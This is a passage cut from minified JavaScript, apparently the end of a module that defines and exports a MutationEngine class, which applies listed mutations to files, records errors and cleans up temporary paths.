e=this.mutateFile(t);s.push({...e,error:null})}catch(e){s.push({tempPath:null,applied:[],lang:null,error:e.message})}return await t(s)}finally{this.cleanup()}}static listMutations(){return MUTATIONS.map(e=>({name:e.name,description:e.description}))}static get mutationCount(){return MUTATIONS.length}}module.exports={MutationEngine:MutationEngine,MUTATIONS:MUTATIONS};